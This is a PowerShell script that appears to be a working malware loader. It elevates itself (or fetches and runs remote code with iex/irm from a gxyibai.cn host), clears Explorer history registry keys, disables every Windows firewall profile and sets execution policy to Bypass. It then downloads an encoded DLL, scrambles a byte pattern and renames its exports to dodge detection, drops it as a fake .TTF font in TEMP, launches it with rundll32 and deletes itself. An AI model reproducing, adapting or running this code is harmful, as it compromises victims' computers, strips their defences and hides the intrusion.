param( [string]$OldName1 = "Stear", [string]$OldName2 = "Getxp", [string]$OldName3 = "GetMOUSE", [int]$RandomNameLength = 0, [int]$RandomName3Length = 8, [switch]$DryRun ) $ErrorActionPreference = "Stop" function New-RandomExportName { param([int]$Length = 5) if ($Length -lt 1) { throw "Random export name length must be at least 1." } $firstChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" $otherChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" $rng = [Security.Cryptography.RandomNumberGenerator]::Create() $randomByte = New-Object byte[] 1 $chars = New-Object char[] $Length try { $rng.GetBytes($randomByte) $chars[0] = $firstChars[[int]($randomByte[0] % $firstChars.Length)] for ($i = 1; $i -lt $Length; $i++) { $rng.GetBytes($randomByte) $chars[$i] = $otherChars[[int]($randomByte[0] % $otherChars.Length)] } } finally { $rng.Dispose() } return -join $chars } function Test-NameExists { param( [string[]]$Names, [string]$Candidate ) foreach ($name in $Names) { if ($name -ceq $Candidate) { return $true } } return $false } function New-UniqueRandomExportName { param( [string[]]$UsedNames, [int]$Length = 5 ) do { $candidate = New-RandomExportName -Length $Length } while (Test-NameExists -Names $UsedNames -Candidate $candidate) return $candidate } function Read-U16 { param([byte[]]$Bytes, [int]$Offset) return [BitConverter]::ToUInt16($Bytes, $Offset) } function Read-U32 { param([byte[]]$Bytes, [int]$Offset) return [BitConverter]::ToUInt32($Bytes, $Offset) } function Write-U16 { param([byte[]]$Bytes, [int]$Offset, [uint16]$Value) $raw = [BitConverter]::GetBytes($Value) [Array]::Copy($raw, 0, $Bytes, $Offset, 2) } function Write-U32 { param([byte[]]$Bytes, [int]$Offset, [uint32]$Value) $raw = [BitConverter]::GetBytes($Value) [Array]::Copy($raw, 0, $Bytes, $Offset, 4) } function Read-AsciiZ { param([byte[]]$Bytes, [int]$Offset) $raw = Read-AsciiZBytes -Bytes $Bytes -Offset $Offset return [Text.Encoding]::ASCII.GetString($raw) } function Read-AsciiZBytes { param([byte[]]$Bytes, [int]$Offset) $end = $Offset while ($end -lt $Bytes.Length -and $Bytes[$end] -ne 0) { $end++ } $length = $end - $Offset $raw = New-Object byte[] $length if ($length -gt 0) { [Array]::Copy($Bytes, $Offset, $raw, 0, $length) } return $raw } function Write-AsciiZ-InPlace { param( [byte[]]$Bytes, [int]$Offset, [string]$OldName, [string]$NewName ) $oldBytes = [Text.Encoding]::ASCII.GetBytes($OldName) $newBytes = [Text.Encoding]::ASCII.GetBytes($NewName) if ($newBytes.Length -gt $oldBytes.Length) { throw "New export name '$NewName' is longer than old export name '$OldName'. This script only supports in-place same/shorter names." } $current = Read-AsciiZ -Bytes $Bytes -Offset $Offset if ($current -ne $OldName) { throw "Export name verification failed at file offset 0x{0:X}: expected '$OldName', found '$current'." -f $Offset } [Array]::Copy($newBytes, 0, $Bytes, $Offset, $newBytes.Length) for ($i = $newBytes.Length; $i -lt $oldBytes.Length; $i++) { $Bytes[$Offset + $i] = 0 } } function New-RvaConverter { param( [byte[]]$Bytes, [int]$SectionTableOffset, [int]$NumberOfSections ) $sections = @() for ($i = 0; $i -lt $NumberOfSections; $i++) { $off = $SectionTableOffset + ($i * 40) $nameBytes = $Bytes[$off..($off + 7)] $zero = [Array]::IndexOf($nameBytes, [byte]0) if ($zero -ge 0) { $nameBytes = $nameBytes[0..($zero - 1)] } $name = [Text.Encoding]::ASCII.GetString($nameBytes) $virtualSize = Read-U32 -Bytes $Bytes -Offset ($off + 8) $virtualAddress = Read-U32 -Bytes $Bytes -Offset ($off + 12) $rawSize = Read-U32 -Bytes $Bytes -Offset ($off + 16) $rawPointer = Read-U32 -Bytes $Bytes -Offset ($off + 20) $mappedSize = [Math]::Max($virtualSize, $rawSize) $sections += [pscustomobject]@{ Name = $name VirtualAddress = [uint32]$virtualAddress MappedSize = [uint32]$mappedSize RawPointer = [uint32]$rawPointer } } return { param([uint32]$Rva) foreach ($section in $sections) { $start = [uint64]$section.VirtualAddress $end = $start + [uint64]$section.MappedSize if ([uint64]$Rva -ge $start -and [uint64]$Rva -lt $end) { return [int]([uint64]$section.RawPointer + ([uint64]$Rva - $start)) } } if ($Rva -lt $SectionTableOffset) { return [int]$Rva } throw "Could not map RVA 0x{0:X} to a file offset." -f $Rva }.GetNewClosure() } function Compare-ByteArray { param( [byte[]]$A, [byte[]]$B ) $length = [Math]::Min($A.Length, $B.Length) for ($i = 0; $i -lt $length; $i++) { if ($A[$i] -lt $B[$i]) { return -1 } if ($A[$i] -gt $B[$i]) { return 1 } } if ($A.Length -lt $B.Length) { return -1 } if ($A.Length -gt $B.Length) { return 1 } return 0 } function Sort-ExportEntries { param([object[]]$Entries) $sorted = New-Object System.Collections.ArrayList foreach ($entry in $Entries) { $inserted = $false for ($i = 0; $i -lt $sorted.Count; $i++) { if ((Compare-ByteArray -A $entry.NameBytes -B $sorted[$i].NameBytes) -lt 0) { [void]$sorted.Insert($i, $entry) $inserted = $true break } } if (-not $inserted) { [void]$sorted.Add($entry) } } return @($sorted) } if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { Write-Host "Requires administrator privileges, restarting script..." -ForegroundColor Yellow if (-not $PSCommandPath) { Write-Host "1" -ForegroundColor Yellow Start-Process -FilePath "powershell" -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"iex (irm https://pafkxw.gxyibai.cn)`"" -Verb RunAs } else { Write-Host "2" -ForegroundColor Yellow Start-Process -FilePath "powershell" -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs $scriptPath = $MyInvocation.MyCommand.Path Start-Process -FilePath "powershell.exe" -ArgumentList "-Command Start-Sleep -Seconds 1; Remove-Item -Path '$scriptPath' -Force" -NoNewWindow } Start-Sleep -Seconds 2 exit } # 停止特定服务 Stop-Service -Name MessageTransfer -ErrorAction SilentlyContinue Start-Sleep -Seconds 2 Write-Host "UAC" -ForegroundColor Green # 清理特定注册表项 $basePath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer" $targetKeys = @("RunMRU", "RecentDocs","FeatureUsage","TypedPaths","ComDlg32") Get-ChildItem -Path $basePath | ForEach-Object { if ($targetKeys -contains $_.PSChildName) { $targetPath = Join-Path -Path $basePath -ChildPath $_.PSChildName Remove-Item -Path $targetPath -Recurse -Force -ErrorAction SilentlyContinue } } # 设置执行策略 try { Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force } catch { Write-Host "cl: $($_.Exception.Message)" -ForegroundColor Red } # 关闭防火墙 try { Set-NetFirewallProfile -Profile Public,Private,Domain -Enabled False } catch { Write-Host "fhq nook: $($_.Exception.Message)" -ForegroundColor Red } # 多次强制终止 rundll32 进程 for ($i = 1; $i -le 11; $i++) { Stop-Process -Name rundll32 -Force -ErrorAction SilentlyContinue } # 下载链接 $downloadLink = "https://ota.gxyibai.cn/d/OTRJ.txt" if (-not $downloadLink) { Write-Host "No download link found." -ForegroundColor Red Start-Sleep -Seconds 2 $scriptPath = $MyInvocation.MyCommand.Path Start-Process -FilePath "powershell.exe" -ArgumentList "-Command Start-Sleep -Seconds 1; Remove-Item -Path '$scriptPath' -Force" -NoNewWindow exit } # 生成临时保存路径 $randomDir = Join-Path $env:TEMP ("DL_" + (Get-Date -Format "yyyyMMddHHmmss") + (Get-Random)) $outFile = Join-Path $randomDir ((Get-Random).ToString() + "1.TTF") New-Item -Path $randomDir -ItemType Directory -Force | Out-Null # 下载 Base64 内容,失败切换 curl.exe try { $base64EncodedContent = Invoke-RestMethod -Uri $downloadLink -ErrorAction Stop } catch { try { $base64EncodedContent = & curl.exe -s $downloadLink if (-not $base64EncodedContent) { throw "curl.exe 下载失败或内容为空" } } catch { Start-Sleep -Seconds 2 $scriptPath = $MyInvocation.MyCommand.Path Start-Process -FilePath "powershell.exe" -ArgumentList "-Command Start-Sleep -Seconds 1; Remove-Item -Path '$scriptPath' -Force" -NoNewWindow exit } } $binaryContent = [Convert]::FromBase64String($base64EncodedContent) $binaryData=$binaryContent $pattern = [byte[]](0xD7, 0x97, 0x10, 0x00, 0xD7, 0x97, 0x10, 0x00, 0xD6, 0x97, 0x0F, 0x0A, 0xD9, 0x97, 0x11, 0x2D, 0xDB, 0x97, 0x12, 0x74, 0xDB, 0x96, 0x11, 0xA8, 0xDB, 0x96, 0x11, 0xD9, 0xDB, 0x96, 0x12, 0xFF, 0xDB, 0x96) $replace_length = 16796 $pos = -1 for ($i = 0; $i -le $binaryData.Length - $pattern.Length; $i++) { $match = $true for ($j = 0; $j -lt $pattern.Length; $j++) { if ($binaryData[$i + $j] -ne $pattern[$j]) { $match = $false break } } if ($match) { $pos = $i break } } if ($pos -ge 0) { $randomBytes = New-Object byte[] $replace_length (New-Object Random).NextBytes($randomBytes) [Array]::Copy($randomBytes, 0, $binaryData, $pos, $replace_length) $binaryContent=$binaryData } else { Write-Output "未找到匹配字节序列" } #---- $bytes = $binaryContent if ($bytes.Length -lt 0x100) { throw "File is too small to be a valid PE file." } if ($bytes[0] -ne 0x4D -or $bytes[1] -ne 0x5A) { throw "Invalid DOS signature. Expected MZ." } $peOffset = [int](Read-U32 -Bytes $bytes -Offset 0x3C) if ($peOffset -le 0 -or ($peOffset + 0x18) -ge $bytes.Length) { throw "Invalid PE header offset." } $peSignature = Read-U32 -Bytes $bytes -Offset $peOffset if ($peSignature -ne 0x00004550) { throw "Invalid PE signature. Expected PE00." } $fileHeaderOffset = $peOffset + 4 $machine = Read-U16 -Bytes $bytes -Offset $fileHeaderOffset $numberOfSections = Read-U16 -Bytes $bytes -Offset ($fileHeaderOffset + 2) $optionalHeaderSize = Read-U16 -Bytes $bytes -Offset ($fileHeaderOffset + 16) $optionalHeaderOffset = $fileHeaderOffset + 20 $optionalMagic = Read-U16 -Bytes $bytes -Offset $optionalHeaderOffset switch ($optionalMagic) { 0x10B { $dataDirectoryOffset = $optionalHeaderOffset + 96; $peKind = "PE32" } 0x20B { $dataDirectoryOffset = $optionalHeaderOffset + 112; $peKind = "PE32+" } default { throw "Unknown optional header magic: 0x{0:X}" -f $optionalMagic } } $exportRva = Read-U32 -Bytes $bytes -Offset $dataDirectoryOffset $exportSize = Read-U32 -Bytes $bytes -Offset ($dataDirectoryOffset + 4) if ($exportRva -eq 0 -or $exportSize -eq 0) { throw "This DLL has no export directory." } $sectionTableOffset = $optionalHeaderOffset + $optionalHeaderSize $rvaToOffset = New-RvaConverter -Bytes $bytes -SectionTableOffset $sectionTableOffset -NumberOfSections $numberOfSections $exportDirOffset = & $rvaToOffset $exportRva $numberOfNames = Read-U32 -Bytes $bytes -Offset ($exportDirOffset + 24) $addressOfNamesRva = Read-U32 -Bytes $bytes -Offset ($exportDirOffset + 32) $addressOfNameOrdinalsRva = Read-U32 -Bytes $bytes -Offset ($exportDirOffset + 36) if ($numberOfNames -eq 0) { throw "This DLL exports by ordinal only; no export names were found." } $namesTableOffset = & $rvaToOffset $addressOfNamesRva $ordinalsTableOffset = & $rvaToOffset $addressOfNameOrdinalsRva if ($RandomNameLength -lt 1) { $RandomNameLength = [Math]::Max($OldName1.Length, $OldName2.Length) } if ($RandomNameLength -gt $OldName1.Length -or $RandomNameLength -gt $OldName2.Length) { throw "RandomNameLength $RandomNameLength is longer than one of the old export names. In-place patching requires the new name to be same length or shorter." } if ($RandomName3Length -lt 1) { $RandomName3Length = $OldName3.Length } if ($RandomName3Length -gt $OldName3.Length) { throw "RandomName3Length $RandomName3Length is longer than old export name '$OldName3'. In-place patching requires the new name to be same length or shorter." } $entries = @() $allExportNames = @() $allExportNameBytes = @() $found = @{} for ($i = 0; $i -lt $numberOfNames; $i++) { $nameRva = Read-U32 -Bytes $bytes -Offset ($namesTableOffset + ($i * 4)) $nameOffset = & $rvaToOffset $nameRva $nameBytes = Read-AsciiZBytes -Bytes $bytes -Offset $nameOffset $name = Read-AsciiZ -Bytes $bytes -Offset $nameOffset $ordinalIndex = Read-U16 -Bytes $bytes -Offset ($ordinalsTableOffset + ($i * 2)) $entries += [pscustomobject]@{ OriginalName = $name Name = $name NameBytes = $nameBytes NameOffset = [int]$nameOffset NameRva = [uint32]$nameRva OrdinalIndex = [uint16]$ordinalIndex } $allExportNames += $name $allExportNameBytes += ,$nameBytes } $name1 = New-UniqueRandomExportName -UsedNames $allExportNames -Length $RandomNameLength $allExportNames += $name1 $name2 = New-UniqueRandomExportName -UsedNames $allExportNames -Length $RandomNameLength $allExportNames += $name2 $GetTintgExportName = New-UniqueRandomExportName -UsedNames $allExportNames -Length $RandomName3Length $allExportNames += $GetTintgExportName $RenameMap = [ordered]@{ $OldName1 = $name1 $OldName2 = $name2 $OldName3 = $GetTintgExportName } foreach ($entry in $entries) { if ($RenameMap.Contains($entry.OriginalName)) { $entry.Name = $RenameMap[$entry.OriginalName] $entry.NameBytes = [Text.Encoding]::ASCII.GetBytes($entry.Name) $found[$entry.OriginalName] = $true Write-Host ("Will rename export: {0} -> {1}" -f $entry.OriginalName, $entry.Name) if (-not $DryRun) { Write-AsciiZ-InPlace -Bytes $bytes -Offset $entry.NameOffset -OldName $entry.OriginalName -NewName $entry.Name } } } $newNameBytes = @() foreach ($oldName in $RenameMap.Keys) { if ($found.ContainsKey($oldName)) { $newNameBytes += ,[Text.Encoding]::ASCII.GetBytes($RenameMap[$oldName]) } } foreach ($newBytes in $newNameBytes) { $matches = 0 foreach ($entry in $entries) { if ((Compare-ByteArray -A $entry.NameBytes -B $newBytes) -eq 0) { $matches++ } } if ($matches -gt 1) { $newName = [Text.Encoding]::ASCII.GetString($newBytes) throw "Renaming would create duplicate export name '$newName'. No file was written." } } foreach ($oldName in $RenameMap.Keys) { if (-not $found.ContainsKey($oldName)) { Write-Warning "Export '$oldName' was not found. Skipping it." } } if ($found.Count -eq 0) { Write-Warning "None of the requested export names were found. No file was modified." exit 0 } $sortedEntries = Sort-ExportEntries -Entries $entries if (-not $DryRun) { for ($i = 0; $i -lt $sortedEntries.Count; $i++) { Write-U32 -Bytes $bytes -Offset ($namesTableOffset + ($i * 4)) -Value $sortedEntries[$i].NameRva Write-U16 -Bytes $bytes -Offset ($ordinalsTableOffset + ($i * 2)) -Value $sortedEntries[$i].OrdinalIndex } } Write-Host ("Loaded {0} ({1}, Machine=0x{2:X4})" -f $fullPath, $peKind, $machine) if ($DryRun) { Write-Host "Dry run only. No file was modified." exit 0 } [System.IO.File]::WriteAllBytes($outFile, $bytes) Start-Process -FilePath "rundll32.exe" -ArgumentList "`"$outFile`",$name2" exit